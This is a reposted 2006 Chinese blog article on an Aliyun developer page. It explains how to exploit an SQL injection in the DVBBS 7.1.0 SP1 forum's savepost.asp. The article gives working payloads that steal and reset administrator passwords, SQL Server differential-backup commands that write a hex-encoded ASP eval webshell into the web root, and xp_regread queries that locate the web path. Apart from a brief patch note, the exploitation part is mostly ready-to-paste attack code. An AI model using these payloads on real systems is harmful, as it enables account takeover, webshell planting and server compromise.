AI 助理
备案控制台
开发者社区 安全 文章 正文

dvbbs7.1sp1最新漏洞的研究和利用

2006-06-05 1108
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： [怪狗] 发表于2006-05-12 00:02 ...
[ 怪狗] 发表于2006-05-12 00:02
 

动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
严重程度：严重
厂商名称：动网论坛(DVBBS)
程序版本：DVBBS 7.1.0 SP1

漏洞分析：
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核，并通过确认，补丁已经公布

厂商补丁：
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1

看到下面：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
    If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
    ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
    GetMoneyType = 3
    'UseTools = ToolsInfo(4)
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

再朝下看：
Public Sub Insert_To_Announce()
'插入回复表
DIM UbblistBody
UbblistBody = Content
UbblistBody = Ubblist(Content)
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
Dvbbs.Execute(sql)

可以看到Buy_UserList这个变量过滤有问题，呵呵，这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射，呵呵。
在悔过头来看补丁里面：
insert里面有修补：&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本，可以updata改管理员密码，或者差异备份得shell。
利用办法嘛，先注册一个id，找个版面发帖子，
帖子内容下面有个选择帖子类型。
选择－－－论坛交易币设置。
下面是表单内容。

看源代码：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－





金币数量：

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
就是这个地方了，hoho。
下面有个“可购买名单限制”，里面就填写：
xjy111',0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='yellowcat')/**/where[UserName]='qq156544632';--

提交成功。
看看我的Email。
晕死，居然成了空白。不知道为什么哈。
来点直接的：

coolidea|||123',0);update/**/Dv_User/**/set/**/UserPassword='469e80d32c0559f8'/**/where[UserName]='qq156544632';--
这回好了，先退出，用admin888这个密码直接成功登录。
好了，语句没有问题，大家现在可以自由发挥，会写工具的，吧delphi什么的搬出来。
直接改管理员的密码进后台，可以恢复数据库的办法得到shell（参考angel的文章，dvbbs7.1sql版本依然可以吧）
或者差异备份（后台可以看到web绝对路径）：

create table aspshell (str image);

declare @a sysname select @a=db_name() backup database @a to disk='D:/wwwroot/dvbbs7sp1/wwwroot/qq156544632.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:/wwwroot/dvbbs7sp1/wwwroot/qq156544632.asp' with differential;

drop table aspshell;

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
create table regread(a varchar(255),b varchar(255));
（建立一个临时表，存放读取到的信息）
insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
（使用xp_regread这个函数读取注册表信息得到虚拟目录路径，并存入临时表中）
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'

至于acess版本没有研究。

[至于工具，实在没必要写，因为利用起来很简单，把所利用的注入语句复制粘贴一下就可以了。对于动网SQL版，我感觉危害比当初的上传漏洞还要严重，因为操作起来很方便。希望大家本着一种学习技术的心态，不要对存在漏洞的站点实施破坏攻击！！！——
http://aliwy.77169.com
文章标签：
安全
SQL
数据安全/隐私保护
孤剑
目录
相关文章
张志凌
|
19天前
|
存储 监控 安全
深入调查研究挖掘Windows AD
【11月更文挑战第18天】
张志凌
18 0
狼人2007
|
安全 Windows
Google工程师发现公布XP漏洞 并提供攻击代码
来自TechTarget的报道称：Google工程师塔维斯·奥曼迪(Tavis Ormandy)日前公开了Windows XP的一处漏洞，该漏洞允许黑客控制用户计算机，此举导致微软很不高兴。 尽管奥曼迪已经声明，该行为只代表个人，与 Google 公司无关，但微软还是很生气。
狼人2007
793 0
狼人2007
|
Web App开发 安全 Android开发
Windows 7成为Pwn2own黑客挑战赛目标
Windows 7近日颇受众人欢迎，一年一度的美国黑客挑战赛也将目光瞄向了Windows 7，据悉，下月16号于温哥华举行的CanSecWest 2009大会中的Pwn2own竞赛将包括入侵Windows 7系统下的浏览器以及破解智能手机操作系统。
狼人2007
649 0
技术小美
|
安全 Windows
Windows年底再现图片漏洞攻击！
技术小美
1096 0
吞吞吐吐的
|
.NET 开发框架
发掘VS2005 SP1 (三) 母模页
吞吞吐吐的
965 0
玄学酱
|
安全
针对CVE-2015-2545漏洞研究分析
本文讲的是针对CVE-2015-2545漏洞研究分析，这是一种MSOffice漏洞，允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码。这种漏洞于2015年3月被发现，漏洞未修补情况持续了4个月。之后，
玄学酱
1546 0
玄学酱
|
安全 Java C#
文档型漏洞攻击研究报告
本文讲的是文档型漏洞攻击研究报告，由于反病毒技术快速发展及免费安全软件在全球的高度普及，恶意程序的传播变得越来越困难。自2013年以来，中国一直是全球个人电脑恶意程序感染率最低的国家。
玄学酱
1970 0
玄学酱
|
Web App开发 安全
UC、火绒联合发布专杀工具 清除 2345 锁首木马
玄学酱
2689 0
晚来风急
|
安全 Windows
研究人员发现Office Word 0Day攻击 这个漏洞绕过了word宏安全设置 绿盟科技、McAfee及FireEye发出警告
晚来风急
1455 0
吞吞吐吐的
|
Web App开发
发掘VS2005 SP1 (一)
吞吞吐吐的
1032 0

热门文章

最新文章

  • 1
    Gitlab----使用Docker方式安装部署Gitlab
  • 2
    Mac搭建安卓模拟器（支持M1/M2/M3/M4）
  • 3
    java报错javax.net.ssl.SSLHandshakeException:  sun.security.validator.ValidatorException
  • 4
    开发人员各级岗位胜任力模型
  • 5
    Hive之数据倾斜的原因和解决方法
  • 6
    【Java】留下没有基础眼泪的面试题
  • 7
    iptables系列教程（二）| iptables语法规则
  • 8
    13.4. 临时表是否需要建索引
  • 9
    共享的两种方式
  • 10
    Andriod动态布局
  • 1
    Linux 各发行版安装 ping 命令指南
    35
  • 2
    Linux缓存管理：如何安全地清理系统缓存
    97
  • 3
    《CMake：掌控 C++人工智能项目编译的魔法棒》
    31
  • 4
    《C++人工智能开发 IDE 全解析：助力智能创新之路》
    35
  • 5
    《解锁 Eigen 库在 C++人工智能项目中的潜能与优化之道》
    33
  • 6
    《解析 MXNet 的 C++版本在分布式训练中的机遇与挑战》
    22
  • 7
    《探索 Caffe2 的 C++接口在移动设备上的性能优化之路》
    26
  • 8
    docker高级篇（大厂进阶）：安装redis集群
    40
  • 9
    Lyra：SmartMore 联合香港多所高校推出的多模态大型语言模型，专注于提升语音、视觉和语言模态的交互能力
    55
  • 10
    LatentLM：微软联合清华大学推出的多模态生成模型，能够统一处理和生成图像、文本、音频和语音合成
    44

    • 相关电子书

    更多
  • 低代码开发师（初级）实战教程
  • 冬季实战营第三期：MySQL数据库进阶实战
  • 阿里巴巴DevOps 最佳实践手册
    • 下一篇
    fs.oss.accessKeyId和fs.oss.accessKeySecret。